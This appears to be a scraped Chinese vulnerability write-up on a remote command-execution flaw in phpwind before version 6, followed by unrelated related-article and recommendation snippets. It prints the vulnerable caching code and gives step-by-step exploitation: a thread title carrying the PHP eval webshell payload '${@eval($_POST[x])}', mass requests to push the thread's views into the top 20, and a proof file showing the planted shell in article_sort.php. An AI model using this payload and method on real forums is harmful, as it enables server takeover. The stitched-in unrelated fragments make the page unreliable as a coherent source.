phpwind < v6 版本命令执行漏洞
phpwind/sort.php 会定期每天处理一次帖子的浏览量、回复量、精华版排序
代码直接使用savearray将数据库查询出来的内容写入php文件,savearray出来的参数,都使用"双引号来包含,所以可以利用变量来执行任意命令
elseif($action=='article'){
$cachetime=@filemtime(D_P."data/bbscache/article_sort.php");
if(!$per || $timestamp-$cachetime>$per*3600){
$_SORTDB=$_sort=array();
$query=$db->query("SELECT t.tid,t.subject,t.replies,t.fid FROM pw_threads t LEFT JOIN pw_forums f ON t.fid=f.fid WHERE t.ifcheck='1' AND t.locked<'2' AND f.password='' AND f.allowvisit='' AND f.f_type<>'hidden' ORDER BY t.replies DESC LIMIT $cachenum");
while($topic=$db->fetch_array($query)){
if($topic['replies']){
$topic['subject']=substrs($topic['subject'],25);
$_sort[]=$topic;
}
}
$_SORTDB['reply']=$_sort;
$_sort=array();
$query=$db->query("SELECT t.tid,t.subject,t.hits,t.fid FROM pw_threads t LEFT JOIN pw_forums f ON t.fid=f.fid WHERE t.ifcheck='1' AND t.locked<'2' AND f.password='' AND f.allowvisit='' AND f.f_type<>'hidden' ORDER BY t.hits DESC LIMIT $cachenum");
while($topic=$db->fetch_array($query)){
if($topic['hits']){
$topic['subject']=substrs($topic['subject'],25);
$_sort[]=$topic;
}
}
$_SORTDB['hit']=$_sort;
$_sort=array();
$query=$db->query("SELECT t.tid,t.subject,t.digest,t.fid FROM pw_threads t LEFT JOIN pw_forums f ON t.fid=f.fid WHERE t.digest<>'0' AND t.ifcheck='1' AND t.locked<'2' AND f.password='' AND f.allowvisit='' AND f.f_type<>'hidden' ORDER BY t.lastpost DESC LIMIT $cachenum");
while($topic=$db->fetch_array($query)){
$topic['subject']=substrs($topic['subject'],25);
$_sort[]=$topic;
}
$_SORTDB['digest']=$_sort;
$ARTICLEDB=savearray('_ARTICLEDB',$_SORTDB);
writeover(D_P.'data/bbscache/article_sort.php',"<?php\r\n".$ARTICLEDB.'?>');
}
发表一个帖子:标题如下
code 区域
${@eval($_POST[x])}XXXX

再开一个多线程(100线程,几分钟就可以了),请求访问那个帖子,直到帖子的访问量排入前20
function savearray($name,$array){
$arraydb="\$$name=array(\r\n\t\t";
foreach($array as $key=>$value){
$arraydb.="'".$key."'=>\narray(\r\n\t\t\t";
foreach($value as $value1){
$arraydb.='array(';
foreach($value1 as $value2){
$arraydb.='"'.addslashes($value2).'",';
}
$arraydb.="),\r\n\t\t\t";
}
$arraydb.="),\r\n\t\t";
}
$arraydb.=");\r\n";
return $arraydb;
二天,生成统计排行的时候,shell就躺在了 /data/bbscache/article_sort.php
三个白帽实际演示:http://**.**.**.**/data/bbscache/article_sort.php

漏洞证明:
/data/bbscache/article_sort.php
<?php
$_ARTICLEDB=array(
'reply'=>
array(
array("1","${@eval($_POST[x])}XXXX ..","5732","2",),
array("10","DDDDDDDDDDDDDDDDD","20","2",),
array("7","HI Everybody ( b)ம","8","2",),
array("3","hello","5","2",),
array("5","䜲⊔","3","2",),
array("2","test","3","2",),
array("9","AAAAAAAAAAAAA","2","2",),
array("6","ִА⫢,"1","2",),
array("8","բ萾ዢ,"1","2",),
),
'hit'=>
array(
array("1","${@eval($_POST[x])}XXXX ..","11382","2",),
array("2","test","3235","2",),
array("3","hello","985","2",),
array("5","䜲⊔","331","2",),
array("7","HI Everybody ( b)ம","123","2",),
phpwind < v6 版本命令执行漏洞的更多相关文章
- phpwind v9存在命令执行漏洞(登陆后台)
已知漏洞:https://www.seebug.org/vuldb/ssvid-94465 phpwind v9最新版存在命令执行漏洞(登陆后台) Phpwind_v9.0.2(最新版),phpwin ...
- Samba 4.x.x全版本存在命令执行漏洞
Samba 4.0.0到4.1.10版本的nmbd(the NetBIOS name services daemon)被发现存在远程命令执行漏洞.CVE编号为CVE-2014-3560.目前官方已经发 ...
- 泛微OA系统多版本存在命令执行漏洞
0x01漏洞描述 泛微OA办公系统是一款协调办公软件. 泛微协同商务软件系统存在命令执行漏洞,攻击者可利用该漏洞获取服务器权限. 0x02漏洞危害 攻击者可以通过精心构造的请求包在受影响版本的泛微OA ...
- ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞
ThinkPHP 5.0.x.5.1.x.5.2.x 全版本远程代码执行漏洞 作者:SoulCat. 来源:CSDN 原文:https://blog.csdn.net/csacs/article/de ...
- FlexPaper 2.3.6 远程命令执行漏洞 附Exp
影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...
- struts2远程命令执行漏洞S2-045
Apache Struts2最新漏洞(CVE-2017-5638,S02-45) struts2远程命令执行漏洞S2-045 Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-04 ...
- WordPress <= 4.6 命令执行漏洞(PHPMailer)复现分析
漏洞信息 WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站.也可以把 WordPress 当作一个内容管理系统(C ...
- 【漏洞公告】高危:Windows系统 SMB/RDP远程命令执行漏洞
2017年4月14日,国外黑客组织Shadow Brokers发出了NSA方程式组织的机密文档,包含了多个Windows 远程漏洞利用工具,该工具包可以可以覆盖全球70%的Windows服务器,为了确 ...
- Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测
本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...
随机推荐
- 对于Eclipse的正确用法
有时候我们刚刚修改了工程里的文件 但是启动的时候它硬是说你有东西没有声明 而那个东西又明明在那里.. 这时候我们可以认为实际与它调用的工程关系文件(我假想的) 不同步.. 我们可以通过clean功能来 ...
- ImageSpan
自定义ImageSpan继承类,可以设置图片大小和位置 import android.content.Context; import android.graphics.Bitmap; import a ...
- Java会出现"unreachable code"错误的几个例子
public class exam { static int num=5; static int m1(){ try{ num=6; throw new NullPointerException(); ...
- RxJava 的使用入门
一.什么是 RxJava? RxJava 是一个响应式编程框架,采用观察者设计模式.所以自然少不了 Observable 和 Subscriber 这两个东东了. RxJava 是一个开源项目,地址: ...
- Android学习系列(41)--Android Studio简单使用
1. 环境 UBUNTU 14.04 + Android Studio 0.8.2 2. 安装jdk openjdk-7是一个很好的选择: sudo apt-get update sudo apt-g ...
- poj2184 01背包变形,价值为可为负数
题目链接:http://poj.org/problem?id=2184 题意:每行给出si和fi,代表牛的两个属性,然后要求选出几头牛,满足S与F都不能为负数的条件下,使S与F的和最大. tips:动 ...
- AngularJS学习之SQL
1.使用PHP从MySQL中读取数据: <div ng-app="myApp" ng-controller="customersCtrl" > &l ...
- S5中新增的Array方法详细说明
ES5中新增的Array方法详细说明 by zhangxinxu from http://www.zhangxinxu.com 本文地址:http://www.zhangxinxu.com/wor ...
- Python基础5- 运算符
Python的运算符和其他语言的类似,主要有:算术运算符.比较运算符.逻辑运算符.赋值运算符.成员运算符.位运算符 ----------------------------------------算术 ...
- 为WPF和Silverlight的Grid添加边框线(zz)
Grid是WPF和Silverlight中的一个重要的布局元素,其他的布局元素还有StackPanel, Canvas, Border等等.从字面上说,Grid是一个表格的意思,它的使用也确实很方 ...